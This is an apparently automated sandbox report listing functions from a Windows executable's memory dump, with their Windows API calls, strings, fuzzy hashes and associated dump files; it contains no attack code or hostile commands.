Opcode Fuzzy Hash: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
Instruction Fuzzy Hash: 2EF19431F08F4A85FB60AF61904017DF6B5AB0C7A8F944275DE9D22A94DE3CA84DC768

Function 00007FF718D44A30 Relevance: 10.8, APIs: 7, Instructions: 318COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D44A87

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

wcsrchr.MSVCRT ref: 00007FF718D44B19
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D44B83
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D44BDD

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$FullNamePathwcsrchr
String ID:
API String ID: 4289998964-0
Opcode ID: a80d012484cbdcca0ca620b8a14734abd8c46742d7c15bd51813b886838a5470
Instruction ID: b415b46c8408311045c07cc307bb25863295f0e54ac976a06185ff98a5e7e586
Opcode Fuzzy Hash: a80d012484cbdcca0ca620b8a14734abd8c46742d7c15bd51813b886838a5470
Instruction Fuzzy Hash: 66C1B421B09F5E82EB54BB519548779E3A1FB49BB0F945531CA8E03BD0DF3CA49D8328

Function 00007FF718D6BCF0 Relevance: 10.6, APIs: 7, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF718D6BD2C
fflush.MSVCRT ref: 00007FF718D6BD45
TryAcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D6BD62
NtCancelSynchronousIoFile.NTDLL ref: 00007FF718D6BD80
ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D6BD93
_get_osfhandle.MSVCRT ref: 00007FF718D6BDB5
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D6BDC4

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ExclusiveLock$AcquireBufferCancelConsoleFileFlushInputReleaseSynchronous_get_osfhandlefflushfprintf
String ID:
API String ID: 3476366620-0
Opcode ID: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
Instruction ID: 4a00a057843659e39ebd3e018c48dd1747ffa7142badc312681f3cb10f957663
Opcode Fuzzy Hash: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
Instruction Fuzzy Hash: 5421FA20908F4E96EB147B20A8162B8E661FF5EB35FD44235D5DE462E1DF3CA40D8728

Function 00007FF718D59584 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D595B4
GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D595C2
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D595CE
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D595DA
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D595EA
QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0 ref: 00007FF718D59605

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction ID: 00bca345a54cfcdd9bb1ff5a52ff89e89671fc42a2b7c7e334c191f6a44ec001
Opcode Fuzzy Hash: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction Fuzzy Hash: CE115122604F458AEB00EF61E8452A8B3A4FB0D76CF800A35EAAD47B54DF3CD1AC8354

Function 00007FF718D43D94 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110nativeCOMMON

Download Yara Rule

APIs

_setjmp.MSVCRT ref: 00007FF718D43DD4

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

Part of subcall function 00007FF718D41884: wcsrchr.MSVCRT ref: 00007FF718D4194E
Part of subcall function 00007FF718D41884: _wcsnicmp.MSVCRT ref: 00007FF718D419A1

NtQueryInformationProcess.NTDLL ref: 00007FF718D43E9C
NtSetInformationProcess.NTDLL ref: 00007FF718D43EC9
NtSetInformationProcess.NTDLL ref: 00007FF718D43F4D

Strings

%9d, xrefs: 00007FF718D43EF9

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: InformationProcess$CurrentDirectoryQuery_setjmp_wcsnicmpwcsrchr
String ID: %9d
API String ID: 1006866328-2241623522
Opcode ID: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction ID: 6a198dbc205421cb02d477cbc51231dbbf1da7478deb92ffe7b2ad0f942f0cf5
Opcode Fuzzy Hash: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction Fuzzy Hash: 1F516072A08B4A9AE700AF1198415A8FBB0FB49774FC44635DAAD53795CF3CE50CCB24

Function 00007FF718D48DF8 Relevance: 7.8, APIs: 5, Instructions: 281COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D48E6D
memset.MSVCRT ref: 00007FF718D48E93

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D48F9A
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D48FBC

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 1a4803f2d100bf75eb873e70d7f896504ce2af50745e4dff0b3b1325a9c43adf
Instruction ID: 785cd84dc2ca9042db46c23a143b05e8caa07473419494595fb88bf0b5abf10d
Opcode Fuzzy Hash: 1a4803f2d100bf75eb873e70d7f896504ce2af50745e4dff0b3b1325a9c43adf
Instruction Fuzzy Hash: 8EC1F832A09F8A86EB61EB11E450AB9E3B0FB597A4F884171DA8D07B95DF3CD14CC314

Function 00007FF718D49B50 Relevance: 7.8, APIs: 5, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
Instruction ID: 83f29f6ba815b0ddeb9cf0a3e0e0a176372edfbc4ccfacf3a2c7441264fea5d4
Opcode Fuzzy Hash: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
Instruction Fuzzy Hash: EEA1A331A18F4A85EB14BB16A451679E6A0FF8D7A0FC44135ED8E43BA5DF3CE40D8728

Function 00007FF718D6FB54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D6FBC1

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetDiskFreeSpaceExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6FC58
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6FD01

Strings

%5lu, xrefs: 00007FF718D6FCB0

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$DiskFreeSpace
String ID: %5lu
API String ID: 2448137811-2100233843
Opcode ID: 91b9902f1ee4f2c69dd88f1cc13d7b02493769e4bbf5f2682aca5e24acde37c3
Instruction ID: 0d8c4934ea4f03a9f37409d2b499bb6f3afa24f72ba9db660e70ac96d08703fe
Opcode Fuzzy Hash: 91b9902f1ee4f2c69dd88f1cc13d7b02493769e4bbf5f2682aca5e24acde37c3
Instruction Fuzzy Hash: 51416E62608FC985EB61EF11E8416EAE361FB88798F848136DA8D4BB48DF7CD14DC714

Function 00007FF718D4D250 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF718D4D292

Strings

GeToken: (%x) '%s', xrefs: 00007FF718D5D0C8

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmp
String ID: GeToken: (%x) '%s'
API String ID: 2081463915-1994581435
Opcode ID: e3a6cb9c4f4fe1a277f0a8ebff47e1c814c31c2abc96469986f3b1ea96a28bad
Instruction ID: 81654db7d4cc7e7340c4cfce1bb858993ce4c405e432ae23294c7fc083fb4ad0
Opcode Fuzzy Hash: e3a6cb9c4f4fe1a277f0a8ebff47e1c814c31c2abc96469986f3b1ea96a28bad
Instruction Fuzzy Hash: 7A719C30E0CF4E95FB64BB65A485275E2A0AF09774FC80575D58D42AA5DF3CA48D8338

Function 00007FF718D481D4 Relevance: 4.8, APIs: 3, Instructions: 299COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF718D4826E
wcschr.MSVCRT ref: 00007FF718D48289

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr
String ID:
API String ID: 1497570035-0
Opcode ID: 953991e5515e9720921bfd82a5a30b3c869f8d800aebf2b352ed82d5cf5886c3
Instruction ID: dc91a2f204351ce46488fc82de22c9fcc224d829fd150702c11fe154c5db0322
Opcode Fuzzy Hash: 953991e5515e9720921bfd82a5a30b3c869f8d800aebf2b352ed82d5cf5886c3
Instruction Fuzzy Hash: 0CC1E831A08F4A85EB54BB119441279E6B0FF8D7A4F884232EADE47A95DF3CE44CC724

Function 00007FF718D67B4C Relevance: 4.8, APIs: 3, Instructions: 269fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D67CE2
FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D67E92
FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D67EB0

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 565e35bf3077f6e5330a4c685e4702854ac746395b3091a84d0a46ce28e859e6
Instruction ID: 4993ec60f8db344faf5b11e31155b609515ad0b6aa31654ad074876631035628
Opcode Fuzzy Hash: 565e35bf3077f6e5330a4c685e4702854ac746395b3091a84d0a46ce28e859e6
Instruction Fuzzy Hash: ACA1F261B18F5E81EF14AB6594142B9E2A0AF48BF4F954331DEAE477C5EE3CE40C8224

Function 00007FF718D46BE0 Relevance: 4.7, APIs: 3, Instructions: 184COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
Part of subcall function 00007FF718D4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

_pipe.MSVCRT ref: 00007FF718D46C1E

Part of subcall function 00007FF718D4AFFC: _dup.MSVCRT ref: 00007FF718D4B004

Part of subcall function 00007FF718D4B038: _dup2.MSVCRT ref: 00007FF718D4B04D

_get_osfhandle.MSVCRT ref: 00007FF718D46CD1
DuplicateHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D46CFB

Part of subcall function 00007FF718D4B998: memset.MSVCRT ref: 00007FF718D4BA2B
Part of subcall function 00007FF718D4B998: wcschr.MSVCRT ref: 00007FF718D4BA8A
Part of subcall function 00007FF718D4B998: wcschr.MSVCRT ref: 00007FF718D4BAAA
Part of subcall function 00007FF718D4B998: _wcsicmp.MSVCRT ref: 00007FF718D4BB2C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heapwcschr$AllocDuplicateHandleProcess_dup_dup2_get_osfhandle_pipe_wcsicmpmemset
String ID:
API String ID: 624391571-0
Opcode ID: 47eda0b50bd71a54bf69730aae11c552028e8b9e5938e1f45885d11fc8581733
Instruction ID: cd3caf9620fdd534c8dff1039e8cee58e1e9be61b770c95cad70a72fecdfa726
Opcode Fuzzy Hash: 47eda0b50bd71a54bf69730aae11c552028e8b9e5938e1f45885d11fc8581733
Instruction Fuzzy Hash: 41719D31A08F0A87E714BF24E841078F6A2EF8D774BD88274E69D566D5CF3CA44D8728

Function 00007FF718D663FC Relevance: 4.7, APIs: 3, Instructions: 179threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D664FD
IsDebuggerPresent.API-MS-WIN-CORE-DEBUG-L1-1-0 ref: 00007FF718D665F5
OutputDebugStringW.API-MS-WIN-CORE-DEBUG-L1-1-0 ref: 00007FF718D6666F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CurrentDebugDebuggerOutputPresentStringThread
String ID:
API String ID: 4268342597-0
Opcode ID: dd079414f8549339cb4fded4247a4dbae90aea18fcb15bc8c39707241a1b23ff
Instruction ID: 9b732530bb1c263674beabf62a71b6c93197a9bb009b8b261a556170d8c375b3
Opcode Fuzzy Hash: dd079414f8549339cb4fded4247a4dbae90aea18fcb15bc8c39707241a1b23ff
Instruction Fuzzy Hash: 89812A22A08F8E85EB64AF25B441239F7A0EF5DBA4FA84135C98D43754DF3CE44D8768

Function 00007FF718D588C0 Relevance: 4.6, APIs: 3, Instructions: 68nativethreadCOMMON

Download Yara Rule

APIs

NtOpenThreadToken.NTDLL ref: 00007FF718D588E7
NtOpenProcessToken.NTDLL ref: 00007FF718D58907
NtClose.NTDLL ref: 00007FF718D5896C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: OpenToken$CloseProcessThread
String ID:
API String ID: 2991381754-0
Opcode ID: 55e115f10c8d4ea653a789ede48b69880637abd9560beca918893f9813f02e72
Instruction ID: 6cf68c348942edbeb25d6382b680addc5122ce292b5cb60c488063d480d134c6
Opcode Fuzzy Hash: 55e115f10c8d4ea653a789ede48b69880637abd9560beca918893f9813f02e72
Instruction Fuzzy Hash: BD216F72A08B4687E700AB54D4412BEF770EB8D7B5F904236EB9942694DF78E84CCB14

Function 00007FF718D4586C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetVersion.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,00000000,00007FF718D6C59E), ref: 00007FF718D45879

Part of subcall function 00007FF718D458D4: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D45903
Part of subcall function 00007FF718D458D4: RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D45943
Part of subcall function 00007FF718D458D4: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D45956

Strings

%d.%d.%05d.%d, xrefs: 00007FF718D458B2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CloseOpenQueryValueVersion
String ID: %d.%d.%05d.%d
API String ID: 2996790148-3457777122
Opcode ID: 4d5ad80169b63ecb9418821cd297058139bf77423c780748cae3bcfdcd848c3f
Instruction ID: 3f3f61ee2e57b03e9285efb774272ca3875fb573cf557729876b23cad3d38832
Opcode Fuzzy Hash: 4d5ad80169b63ecb9418821cd297058139bf77423c780748cae3bcfdcd848c3f
Instruction Fuzzy Hash: 02F0A771A08785C7D310AF15B44106AE6A1FB88790FD44138D98907F59CF3CD51CCB54

Function 00007FF718D57854 Relevance: 3.3, APIs: 2, Instructions: 296COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D5790B

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D57B79

Part of subcall function 00007FF718D5823C: FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D58280
Part of subcall function 00007FF718D5823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5829D

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$ErrorFileFindFirstLast
String ID:
API String ID: 2831795651-0
Opcode ID: 638df73a00ca543e65087d6208835b8c015977170cf38772a4d9fd7cf800cb00
Instruction ID: 54d5342df61d3ca01177e18f93aa0c63e3b6d0189d5cc983617ca3deb5c195e1
Opcode Fuzzy Hash: 638df73a00ca543e65087d6208835b8c015977170cf38772a4d9fd7cf800cb00
Instruction Fuzzy Hash: ABD1B572608B8686E764AF21A4502BAF3B1FB487A4FA11236DE8D07798DF3CD54DC714

Function 00007FF718D589E4 Relevance: 3.0, APIs: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationToken.NTDLL ref: 00007FF718D58A20
NtQueryInformationToken.NTDLL ref: 00007FF718D652BE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: InformationQueryToken
String ID:
API String ID: 4239771691-0
Opcode ID: 2eb98c52454088f6621be3decb0bbaf4861c7b3c1ad5e6b04c37f51bc6bdd8a0
Instruction ID: 222060e941bc90dd28de6756eefad2d9007f5aa984683f2f2c78c62c5656fc49
Opcode Fuzzy Hash: 2eb98c52454088f6621be3decb0bbaf4861c7b3c1ad5e6b04c37f51bc6bdd8a0
Instruction Fuzzy Hash: 14113072618B85CBEB109F01E4003AAFBB4FB897A5F904132DF88026A4DB7DD58CCB55

Function 00007FF718D58114 Relevance: 3.0, APIs: 2, Instructions: 41filenativeCOMMON

Download Yara Rule

APIs

NtQueryVolumeInformationFile.NTDLL ref: 00007FF718D58151
GetFileInformationByHandleEx.API-MS-WIN-CORE-FILE-L2-1-0 ref: 00007FF718D6037C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

